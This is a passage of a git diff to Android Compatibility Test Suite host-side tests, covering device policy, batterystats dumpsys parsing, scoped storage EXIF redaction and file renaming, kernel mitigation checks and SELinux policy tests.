assertPackageRunningState(boolean shouldBeRunning, String argPid) + throws Exception { + String pid = executeShellCommand(String.format("pidof %s", SIMPLE_APP_PKG)).trim(); + + final boolean samePid = pid.equals(argPid); + final boolean stillRunning = samePid && isPackageRunning(SIMPLE_APP_PKG); + assertWithMessage("Package %s running for user %s", SIMPLE_APP_PKG, getCurrentUser().getIdentifier()) - .that(isPackageRunning(SIMPLE_APP_PKG)).isEqualTo(shouldBeRunning); + .that(stillRunning).isEqualTo(shouldBeRunning); } } diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/Android.bp b/hostsidetests/devicepolicy/app/ManagedProfile/Android.bp index 376b76bf3ed..7a0a26be597 100644 --- a/hostsidetests/devicepolicy/app/ManagedProfile/Android.bp +++ b/hostsidetests/devicepolicy/app/ManagedProfile/Android.bp @@ -36,6 +36,7 @@ android_test_helper_app { "androidx.legacy_legacy-support-v4", "devicepolicy-deviceside-common", "permission-test-util-lib", + "NeneInternal", ], min_sdk_version: "27", // tag this module as a cts test artifact diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml b/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml index 0a049c93f1a..267f56eec0c 100644 --- a/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml +++ b/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml @@ -17,7 +17,7 @@ <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.android.cts.managedprofile"> - <uses-sdk android:minSdkVersion="27"/> + <uses-sdk android:minSdkVersion="29"/> <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/> <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/> <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/> diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/BluetoothSharingRestrictionTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/BluetoothSharingRestrictionTest.java index 18f0d7c53d7..ea418683cc3 100644 --- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/BluetoothSharingRestrictionTest.java +++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/BluetoothSharingRestrictionTest.java @@ -15,8 +15,6 @@ */ package com.android.cts.managedprofile; -import static android.os.Process.BLUETOOTH_UID; - import android.app.UiAutomation; import android.bluetooth.BluetoothAdapter; import android.content.ComponentName; @@ -32,6 +30,7 @@ import android.os.UserManager; import androidx.test.InstrumentationRegistry; +import com.android.bedstead.nene.TestApis; import com.android.internal.util.ArrayUtils; import junit.framework.TestCase; @@ -113,8 +112,7 @@ public class BluetoothSharingRestrictionTest extends BaseManagedProfileTest { : new int[] {PackageManager.COMPONENT_ENABLED_STATE_DISABLED}; sUiAutomation.adoptShellPermissionIdentity(INTERACT_ACROSS_USERS_PERMISSION); - String bluetoothPackageName = context.getPackageManager() - .getPackagesForUid(BLUETOOTH_UID)[0]; + String bluetoothPackageName = TestApis.bluetooth().findPackageName(); sUiAutomation.dropShellPermissionIdentity(); ComponentName oppLauncherComponent = new ComponentName( diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseLauncherAppsTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseLauncherAppsTest.java index 31f14cc3f61..1f42d469c97 100644 --- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseLauncherAppsTest.java +++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseLauncherAppsTest.java @@ -16,7 +16,6 @@ package com.android.cts.devicepolicy; -import com.android.ddmlib.Log.LogLevel; import com.android.tradefed.log.LogUtil.CLog; /** @@ -33,6 +32,8 @@ public abstract class BaseLauncherAppsTest extends BaseDevicePolicyTest { protected static final String LAUNCHER_TESTS_APK = "CtsLauncherAppsTests.apk"; protected static final String LAUNCHER_TESTS_SUPPORT_PKG = "com.android.cts.launchertests.support"; + protected static final String LAUNCHER_TESTS_SUPPORT_COMPONENT = + LAUNCHER_TESTS_SUPPORT_PKG + "/.LauncherCallbackTestsService"; protected static final String LAUNCHER_TESTS_SUPPORT_APK = "CtsLauncherAppsTestsSupport.apk"; protected void installTestApps(int userId) throws Exception { @@ -49,7 +50,18 @@ public abstract class BaseLauncherAppsTest extends BaseDevicePolicyTest { protected void startCallbackService(int userId) throws Exception { String command = "am startservice --user " + userId + " -a " + LAUNCHER_TESTS_SUPPORT_PKG + ".REGISTER_CALLBACK " - + LAUNCHER_TESTS_SUPPORT_PKG + "/.LauncherCallbackTestsService"; + + LAUNCHER_TESTS_SUPPORT_COMPONENT; CLog.d("Output for command " + command + ": " + getDevice().executeShellCommand(command)); } + + protected boolean isCallbackServiceReady() throws Exception { + String command = "dumpsys activity services " + LAUNCHER_TESTS_SUPPORT_COMPONENT + + " | grep 'app=ProcessRecord'"; + String result = getDevice().executeShellCommand(command); + CLog.d("Check service started by " + command + ": " + result); + if (result.isEmpty()) { + return false; + } + return true; + } } diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java index c87a7f8d7f4..d1773d0e8e6 100644 --- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java +++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java @@ -70,6 +70,7 @@ public class DeviceOwnerTest extends BaseDeviceOwnerTest { private static final String TEST_APP_LOCATION = "/data/local/tmp/cts/packageinstaller/"; private static final String ARG_NETWORK_LOGGING_BATCH_COUNT = "batchCount"; + private static final String ARG_PID_BEFORE_STOP = "pidOfSimpleapp"; private static final String LAUNCHER_TESTS_HAS_LAUNCHER_ACTIVITY_APK = "CtsHasLauncherActivityApp.apk"; @@ -1059,13 +1060,16 @@ public class DeviceOwnerTest extends BaseDeviceOwnerTest { */ private void tryFgsStoppingProtectedPackage(int userId, boolean canUserStopPackage) throws Exception { + String pid = executeShellCommand(String.format("pidof %s", SIMPLE_APP_PKG)).trim(); fgsStopPackageForUser(SIMPLE_APP_PKG, userId); if (canUserStopPackage) { executeDeviceTestMethod(".UserControlDisabledPackagesTest", - "testFgsStopWithUserControlEnabled"); + "testFgsStopWithUserControlEnabled", + Collections.singletonMap(ARG_PID_BEFORE_STOP, pid)); } else { executeDeviceTestMethod(".UserControlDisabledPackagesTest", - "testFgsStopWithUserControlDisabled"); + "testFgsStopWithUserControlDisabled", + Collections.singletonMap(ARG_PID_BEFORE_STOP, pid)); } } diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsSingleUserTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsSingleUserTest.java index 73f62048605..6e9bae52468 100644 --- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsSingleUserTest.java +++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsSingleUserTest.java @@ -104,6 +104,9 @@ public class LauncherAppsSingleUserTest extends BaseLauncherAppsTest { } installAppAsUser(SIMPLE_APP_APK, mCurrentUserId); startCallbackService(mCurrentUserId); + while (!isCallbackServiceReady()) { + Thread.sleep(100); + } getDevice().uninstallPackage(SIMPLE_APP_PKG); runDeviceTestsAsUser(LAUNCHER_TESTS_PKG, LAUNCHER_TESTS_CLASS, diff --git a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java index 11f24fad5d5..d6ac4851002 100755 --- a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java +++ b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java @@ -25,6 +25,7 @@ import java.io.BufferedReader; import java.io.File; import java.io.IOException; import java.io.StringReader; +import java.util.ArrayList; import java.util.HashSet; import java.util.Set; @@ -36,6 +37,41 @@ public class BatteryStatsDumpsysTest extends BaseDumpsysTest { private static final String TEST_PKG = "com.android.cts.framestatstestapp"; /** + * Parse each line from output of dumpsys to handle special fields such as + * 'aaa,"bbb,ccc",ddd', to capture properly. + */ + private static String[] parseCsv(String line) { + ArrayList<String> parts = new ArrayList<>(); + String[] splitStrings = line.split(",", -1); + String s = ""; + boolean escaping = false; + for (String splitString : splitStrings) { + if (escaping) { + s += "," + splitString; + } else { + if (splitString.startsWith("\"")) { + // Field start with ". Start escaping. + s = splitString; + escaping = true; + } else { + parts.add(splitString); + } + } + if (escaping && s.length() > 1 && s.endsWith("\"")) { + // Field end with ". Stop escaping. + parts.add(s.substring(1, s.length() - 1)); + escaping = false; + } + } + if (escaping) { + // Unclosed escaping string. Add it anyway. + parts.add(s.substring(1)); + } + + return parts.toArray(new String[parts.size()]); + } + + /** * Tests the output of "dumpsys batterystats --checkin". * * @throws Exception @@ -58,11 +94,7 @@ public class BatteryStatsDumpsysTest extends BaseDumpsysTest { try { - // With a default limit of 0, empty strings at the end are discarded. - // We still consider the empty string as a valid value in some cases. - // Using any negative number for the limit will preserve a trailing empty string. - // @see String#split(String, int) - String[] parts = line.split(",", -1); + String[] parts = parseCsv(line); assertInteger(parts[0]); // old version assertInteger(parts[1]); // UID switch (parts[2]) { // aggregation type diff --git a/hostsidetests/edi/OWNERS b/hostsidetests/edi/OWNERS index 88c9013b591..8e0766f968e 100644 --- a/hostsidetests/edi/OWNERS +++ b/hostsidetests/edi/OWNERS @@ -1,8 +1,5 @@ # Bug component: 47509 -aaronholden@google.com -agathaman@google.com -nickrose@google.com -samlin@google.com - +anwenxu@google.com +sehajgrover@google.com # For cleanups and bug fixes satayev@google.com #{LAST_RESORT_SUGGESTION} diff --git a/hostsidetests/media/bitstreams/AndroidTest.xml b/hostsidetests/media/bitstreams/AndroidTest.xml index 070b44ddcf3..c07fa07eb9e 100644 --- a/hostsidetests/media/bitstreams/AndroidTest.xml +++ b/hostsidetests/media/bitstreams/AndroidTest.xml @@ -25,6 +25,11 @@ <option name="dynamic-config-name" value="cts-dynamic-config" /> <option name="version" value="9.0_r1"/> </target_preparer> + <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher"> + <option name="target" value="device" /> + <option name="config-filename" value="CtsMediaBitstreamsTestCases" /> + <option name="version" value="9.0_r1"/> + </target_preparer> <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer"> <option name="media-download-only" value="true" /> </target_preparer> @@ -32,11 +37,6 @@ <option name="cleanup-apks" value="true" /> <option name="test-file-name" value="CtsMediaBitstreamsDeviceSideTestApp.apk" /> </target_preparer> - <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher"> - <option name="target" value="device" /> - <option name="config-filename" value="CtsMediaBitstreamsTestCases" /> - <option name="version" value="9.0_r1"/> - </target_preparer> <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ReportLogCollector"> <option name="src-dir" value="/sdcard/report-log-files/"/> <option name="dest-dir" value="report-log-files/"/> diff --git a/hostsidetests/scopedstorage/Android.bp b/hostsidetests/scopedstorage/Android.bp index da0df31dcf1..0e2a887bc40 100644 --- a/hostsidetests/scopedstorage/Android.bp +++ b/hostsidetests/scopedstorage/Android.bp @@ -91,7 +91,7 @@ android_test_helper_app { // Tag as a CTS artifact test_suites: [ "general-tests", - "mts", + "mts-mediaprovider", "cts", ], } @@ -155,7 +155,7 @@ android_test_helper_app { // Tag as a CTS artifact test_suites: [ "general-tests", - "mts", + "mts-mediaprovider", "cts", ], } @@ -171,7 +171,7 @@ android_test_helper_app { // Tag as a CTS artifact test_suites: [ "general-tests", - "mts", + "mts-mediaprovider", "cts", ], } @@ -187,7 +187,7 @@ android_test_helper_app { // Tag as a CTS artifact test_suites: [ "general-tests", - "mts", + "mts-mediaprovider", "cts", ], } @@ -210,7 +210,7 @@ android_test_helper_app { min_sdk_version: "29", } -android_test { +android_test_helper_app { name: "ScopedStorageTest", manifest: "AndroidManifest.xml", srcs: ["src/**/*.java"], @@ -237,7 +237,7 @@ android_test { ], } -android_test { +android_test_helper_app { name: "LegacyStorageTest", manifest: "legacy/AndroidManifest.xml", srcs: ["legacy/src/**/*.java"], diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java b/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java index 717cf952a1b..6fbf5f325da 100644 --- a/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java +++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java @@ -16,7 +16,7 @@ package android.scopedstorage.cts; import static android.scopedstorage.cts.lib.RedactionTestHelper.EXIF_METADATA_QUERY; -import static android.scopedstorage.cts.lib.RedactionTestHelper.getExifMetadata; +import static android.scopedstorage.cts.lib.RedactionTestHelper.getExifMetadataFromFile; import static android.scopedstorage.cts.lib.TestUtils.CAN_OPEN_FILE_FOR_READ_QUERY; import static android.scopedstorage.cts.lib.TestUtils.CAN_OPEN_FILE_FOR_WRITE_QUERY; import static android.scopedstorage.cts.lib.TestUtils.CAN_READ_WRITE_QUERY; @@ -253,7 +253,7 @@ public class ScopedStorageTestHelper extends Activity { if (getIntent().hasExtra(INTENT_EXTRA_PATH)) { final String filePath = getIntent().getStringExtra(INTENT_EXTRA_PATH); if (EXIF_METADATA_QUERY.equals(queryType)) { - intent.putExtra(queryType, getExifMetadata(new File(filePath))); + intent.putExtra(queryType, getExifMetadataFromFile(new File(filePath))); } } else { throw new IllegalStateException( diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java index 099a0ab7276..f5c6af5b4a0 100644 --- a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java +++ b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java @@ -21,7 +21,7 @@ import static android.os.ParcelFileDescriptor.MODE_CREATE; import static android.os.ParcelFileDescriptor.MODE_READ_WRITE; import static android.scopedstorage.cts.lib.RedactionTestHelper.assertExifMetadataMatch; import static android.scopedstorage.cts.lib.RedactionTestHelper.assertExifMetadataMismatch; -import static android.scopedstorage.cts.lib.RedactionTestHelper.getExifMetadata; +import static android.scopedstorage.cts.lib.RedactionTestHelper.getExifMetadataFromFile; import static android.scopedstorage.cts.lib.RedactionTestHelper.getExifMetadataFromRawResource; import static android.scopedstorage.cts.lib.TestUtils.BYTES_DATA2; import static android.scopedstorage.cts.lib.TestUtils.STR_DATA2; @@ -79,6 +79,7 @@ import static android.scopedstorage.cts.lib.TestUtils.installAppWithStoragePermi import static android.scopedstorage.cts.lib.TestUtils.isAppInstalled; import static android.scopedstorage.cts.lib.TestUtils.listAs; import static android.scopedstorage.cts.lib.TestUtils.openWithMediaProvider; +import static android.scopedstorage.cts.lib.TestUtils.queryAudioFile; import static android.scopedstorage.cts.lib.TestUtils.queryFile; import static android.scopedstorage.cts.lib.TestUtils.queryFileExcludingPending; import static android.scopedstorage.cts.lib.TestUtils.queryImageFile; @@ -134,6 +135,7 @@ import android.os.Process; import android.os.storage.StorageManager; import android.provider.DocumentsContract; import android.provider.MediaStore; +import android.scopedstorage.cts.lib.RedactionTestHelper; import android.system.ErrnoException; import android.system.Os; import android.system.StructStat; @@ -875,7 +877,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { // EXIF tags and might misleadingly think there are not tags to redact out.getFD().sync(); - HashMap<String, String> exif = getExifMetadata(jpgFile); + HashMap<String, String> exif = getExifMetadataFromFile(jpgFile); assertExifMetadataMatch(exif, originalExif); HashMap<String, String> exifFromTestApp = @@ -1324,7 +1326,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { // Sync file to disk to ensure file is fully written to the lower fs. out.getFD().sync(); } - HashMap<String, String> exif = getExifMetadata(imgFile); + HashMap<String, String> exif = getExifMetadataFromFile(imgFile); assertExifMetadataMatch(exif, originalExif); // Install test app @@ -1519,6 +1521,10 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { // Assert we can read from the file assertFileContent(otherAppImageFile, BYTES_DATA1); + // Assert has access to redacted information + RedactionTestHelper.assertConsistentNonRedactedAccess(otherAppImageFile, + R.raw.img_with_metadata); + // Assert we can delete the file assertThat(otherAppImageFile.delete()).isTrue(); assertThat(otherAppImageFile.exists()).isFalse(); @@ -1772,6 +1778,37 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { } /** + * Test that renaming file paths to an external directory such as Android/* and Android/* /* + * except Android/media/* /* is not allowed. + */ + @Test + public void testRenameFileToAppSpecificDir() throws Exception { + final File testFile = new File(getExternalMediaDir(), IMAGE_FILE_NAME); + final File testFileNew = new File(getExternalMediaDir(), NONMEDIA_FILE_NAME); + + try { + // Create a file in app's external media directory + if (!testFile.exists()) { + assertThat(testFile.createNewFile()).isTrue(); + } + + final String androidDirPath = getExternalStorageDir().getPath() + "/Android"; + + // Verify that we can't rename a file to Android/ or Android/data or + // Android/media directory + assertCantRenameFile(testFile, new File(androidDirPath, IMAGE_FILE_NAME)); + assertCantRenameFile(testFile, new File(androidDirPath + "/data", IMAGE_FILE_NAME)); + assertCantRenameFile(testFile, new File(androidDirPath + "/media", IMAGE_FILE_NAME)); + + // Verify that we can rename a file to app specific media directory. + assertCanRenameFile(testFile, testFileNew); + } finally { + testFile.delete(); + testFileNew.delete(); + } + } + + /** * Test that renaming directories is allowed and aligns to default directory restrictions. */ @Test @@ -2992,6 +3029,45 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { } } + /** + * Test that renaming a file to {@link Environment#DIRECTORY_RINGTONES} sets + * {@link MediaStore.Audio.AudioColumns#IS_RINGTONE} + */ + + @Test + public void testRenameToRingtoneDirectory() throws Exception { + final File fileInDownloads = new File(getDownloadDir(), AUDIO_FILE_NAME); + final File fileInRingtones = new File(getRingtonesDir(), AUDIO_FILE_NAME); + + try { + assertThat(fileInDownloads.createNewFile()).isTrue(); + assertThat(MediaStore.scanFile(getContentResolver(), fileInDownloads)).isNotNull(); + + assertCanRenameFile(fileInDownloads, fileInRingtones); + + try (Cursor c = queryAudioFile(fileInRingtones, + MediaStore.Audio.AudioColumns.IS_RINGTONE)) { + assertTrue(c.moveToFirst()); + assertWithMessage("Expected " + MediaStore.Audio.AudioColumns.IS_RINGTONE + + " to be set after renaming to " + fileInRingtones) + .that(c.getInt(0)).isEqualTo(1); + } + + assertCanRenameFile(fileInRingtones, fileInDownloads); + + try (Cursor c = queryAudioFile(fileInDownloads, + MediaStore.Audio.AudioColumns.IS_RINGTONE)) { + assertTrue(c.moveToFirst()); + assertWithMessage("Expected " + MediaStore.Audio.AudioColumns.IS_RINGTONE + + " to be unset after renaming to " + fileInDownloads) + .that(c.getInt(0)).isEqualTo(0); + } + } finally { + fileInDownloads.delete(); + fileInRingtones.delete(); + } + } + @Test @SdkSuppress(minSdkVersion = 31, codeName = "S") public void testTransformsDirFileOperations() throws Exception { diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/StableUrisTest.java b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/StableUrisTest.java index 41a47b95a6d..4bff21bbd54 100644 --- a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/StableUrisTest.java +++ b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/StableUrisTest.java @@ -33,6 +33,8 @@ import android.Manifest; import android.app.Instrumentation; import android.content.ContentResolver; import android.content.Context; +import android.content.pm.PackageManager; +import android.content.pm.ProviderInfo; import android.provider.MediaStore; import android.scopedstorage.cts.lib.TestUtils; import android.util.Log; @@ -121,7 +123,7 @@ public final class StableUrisTest extends ScopedStorageBaseDeviceTest { Log.d(TAG, "maxRowIdOfExternalDbBeforeReset:" + maxRowIdOfExternalDbBeforeReset); // Clear MediaProvider package data to trigger DB recreation. - mDevice.executeShellCommand("pm clear com.google.android.providers.media.module"); + mDevice.executeShellCommand("pm clear " + getMediaProviderPackageName()); waitForMountedAndIdleState(mContentResolver); MediaStore.scanVolume(mContentResolver, mVolumeName); @@ -172,4 +174,11 @@ public final class StableUrisTest extends ScopedStorageBaseDeviceTest { return files; } + private static String getMediaProviderPackageName() { + final Instrumentation inst = androidx.test.InstrumentationRegistry.getInstrumentation(); + final PackageManager packageManager = inst.getContext().getPackageManager(); + final ProviderInfo providerInfo = packageManager.resolveContentProvider( + MediaStore.AUTHORITY, PackageManager.MATCH_ALL); + return providerInfo.packageName; + } } diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java index cd9378d3047..c7887f82040 100644 --- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java +++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java @@ -95,6 +95,16 @@ public class ScopedStorageHostTest extends BaseHostTestCase { } @Test + public void testManageExternalStorageCanReadRedactedContents() throws Exception { + allowAppOps("android:manage_external_storage"); + try { + runDeviceTest("testManageExternalStorageCanReadRedactedContents"); + } finally { + denyAppOps("android:manage_external_storage"); + } + } + + @Test public void testManageExternalStorageCanRenameOtherAppsContents() throws Exception { allowAppOps("android:manage_external_storage"); try { diff --git a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/RedactionTestHelper.java b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/RedactionTestHelper.java index b7509e601ac..ee0d203efcc 100644 --- a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/RedactionTestHelper.java +++ b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/RedactionTestHelper.java @@ -21,11 +21,15 @@ import static androidx.test.InstrumentationRegistry.getContext; import static org.junit.Assert.fail; import android.media.ExifInterface; +import android.net.Uri; +import android.os.FileUtils; +import android.provider.MediaStore; import androidx.annotation.NonNull; import androidx.annotation.RawRes; import java.io.File; +import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java.util.HashMap; @@ -56,12 +60,26 @@ public class RedactionTestHelper { * Retrieve the EXIF metadata from the given file. */ @NonNull - public static HashMap<String, String> getExifMetadata(@NonNull File file) throws IOException { + public static HashMap<String, String> getExifMetadataFromFile(@NonNull File file) + throws IOException { final ExifInterface exif = new ExifInterface(file); return dumpExifGpsTagsToMap(exif); } /** + * Retrieve the EXIF metadata from the given uri. + */ + @NonNull + private static HashMap<String, String> getExifMetadataFromUri(@NonNull Uri uri) + throws IOException { + try (InputStream is = getContext().getContentResolver().openInputStream(uri)) { + final ExifInterface exif = new ExifInterface(is); + return dumpExifGpsTagsToMap(exif); + } + } + + + /** * Retrieve the EXIF metadata from the given resource. */ @NonNull @@ -116,4 +134,26 @@ public class RedactionTestHelper { } return res; } + + public static void assertConsistentNonRedactedAccess(File file, int metadataResId) + throws Exception { + // Write some meta-data to the file to assert on redacted information access + try (InputStream in = + getContext().getResources().openRawResource(metadataResId); + FileOutputStream out = new FileOutputStream(file)) { + FileUtils.copy(in, out); + out.getFD().sync(); + } + + HashMap<String, String> originalExif = getExifMetadataFromRawResource(metadataResId); + + // Using File API + HashMap<String, String> exifFromFilePath = getExifMetadataFromFile(file); + assertExifMetadataMatch(exifFromFilePath, originalExif); + + Uri uri = MediaStore.scanFile(getContext().getContentResolver(), file); + // Using ContentResolver API + HashMap<String, String> exifFromContentResolver = getExifMetadataFromUri(uri); + assertExifMetadataMatch(exifFromContentResolver, originalExif); + } } diff --git a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java index 06706398258..2e694ed65a7 100644 --- a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java +++ b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java @@ -751,6 +751,17 @@ public class TestUtils { } /** + * Queries {@link ContentResolver} for an audio file and returns a {@link Cursor} with the given + * columns. + */ + @NonNull + public static Cursor queryAudioFile(File file, String... projection) { + return queryFile(getContentResolver(), + MediaStore.Audio.Media.getContentUri(sStorageVolumeName), file, + /*includePending*/ true, projection); + } + + /** * Queries {@link ContentResolver} for a file and returns the corresponding mime type for its * entry in the database. */ diff --git a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java index 6bcaa5ac60d..1bb701bcba0 100644 --- a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java +++ b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java @@ -92,6 +92,7 @@ import android.os.ParcelFileDescriptor; import android.os.storage.StorageManager; import android.platform.test.annotations.AppModeInstant; import android.provider.MediaStore; +import android.scopedstorage.cts.lib.RedactionTestHelper; import android.system.ErrnoException; import android.system.Os; import android.util.Log; @@ -224,6 +225,25 @@ public class ScopedStorageTest { } @Test + public void testManageExternalStorageCanReadRedactedContents() throws Exception { + pollForManageExternalStorageAllowed(); + + final File otherAppImage = new File(getDcimDir(), "other" + IMAGE_FILE_NAME); + + try { + // Create file as another app + assertThat(createFileAs(APP_B_NO_PERMS, otherAppImage.getPath())).isTrue(); + + // Assert has access to redacted information + RedactionTestHelper.assertConsistentNonRedactedAccess(otherAppImage, + R.raw.img_with_metadata); + + } finally { + deleteFileAsNoThrow(APP_B_NO_PERMS, otherAppImage.getAbsolutePath()); + } + } + + @Test public void testManageExternalStorageCantReadWriteOtherAppExternalDir() throws Exception { pollForManageExternalStorageAllowed(); diff --git a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java index ad99a5ae35c..44e616dfccc 100644 --- a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java +++ b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java @@ -187,7 +187,8 @@ public class KernelConfigTest extends BaseHostJUnit4Test { if (mitigationInfoMeltdown != null && mitigationInfoSpectreV2 != null && !mitigationInfoMeltdown.contains("Vulnerable") && - !mitigationInfoSpectreV2.contains("Vulnerable")) + (!mitigationInfoSpectreV2.contains("Vulnerable") || + mitigationInfoSpectreV2.equals("Vulnerable: Unprivileged eBPF enabled\n"))) return "VULN_SAFE"; for (String nodeInfo : pathList) { diff --git a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java index 039867bbc85..dea26887143 100644 --- a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java +++ b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java @@ -116,8 +116,6 @@ public class SELinuxHostTest extends BaseHostJUnit4Test { private File devicePcFile; private File deviceSvcFile; private File seappNeverAllowFile; - private File libsepolwrap; - private File libcpp; private File copyLibcpp; private File sepolicyTests; @@ -907,29 +905,8 @@ public class SELinuxHostTest extends BaseHostJUnit4Test { return (os.startsWith("mac") || os.startsWith("darwin")); } - private void setupLibraries() throws Exception { - // The host side binary tests are host OS specific. Use Linux - // libraries on Linux and Mac libraries on Mac. - CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mBuild); - if (isMac()) { - libsepolwrap = buildHelper.getTestFile("libsepolwrap.dylib"); - libcpp = buildHelper.getTestFile("libc++.dylib"); - copyLibcpp = new File(System.getProperty("java.io.tmpdir") + "/libc++.dylib"); - Files.copy(libcpp.toPath(), copyLibcpp.toPath(), StandardCopyOption.REPLACE_EXISTING); - } else { - libsepolwrap = buildHelper.getTestFile("libsepolwrap.so"); - libcpp = buildHelper.getTestFile("libc++.so"); - copyLibcpp = new File(System.getProperty("java.io.tmpdir") + "/libc++.so"); - Files.copy(libcpp.toPath(), copyLibcpp.toPath(), StandardCopyOption.REPLACE_EXISTING); - } - libsepolwrap.deleteOnExit(); - libcpp.deleteOnExit(); - copyLibcpp.deleteOnExit(); - } - private void assertSepolicyTests(String test, String testExecutable, boolean includeVendorSepolicy) throws Exception { - setupLibraries(); sepolicyTests = copyResourceToTempFile(testExecutable); sepolicyTests.setExecutable(true); @@ -951,12 +928,6 @@ public class SELinuxHostTest extends BaseHostJUnit4Test { } ProcessBuilder pb = new ProcessBuilder(args); - Map<String, String> env = pb.environment(); - if (isMac()) { - env.put("DYLD_LIBRARY_PATH", System.getProperty("java.io.tmpdir")); - } else { - env.put("LD_LIBRARY_PATH", System.getProperty("java.io.tmpdir")); - } pb.redirectOutput(ProcessBuilder.Redirect.PIPE); pb.redirectErrorStream(true); Process p = pb.start(); @@ -983,6 +954,17 @@ public class SELinuxHostTest extends BaseHostJUnit4Test { } /** + * Tests that all types in /sys/fs/bpf have the bpffs_type attribute. + * + * @throws Exception + */ + @Test + public void testBpffsTypeViolators() throws Exception { + assertSepolicyTests("TestBpffsTypeViolations", "/sepolicy_tests", + PropertyUtil.isVendorApiLevelNewerThan(mDevice, 33) /* includeVendorSepolicy */); + } + + /** * Tests that all types in /proc have the 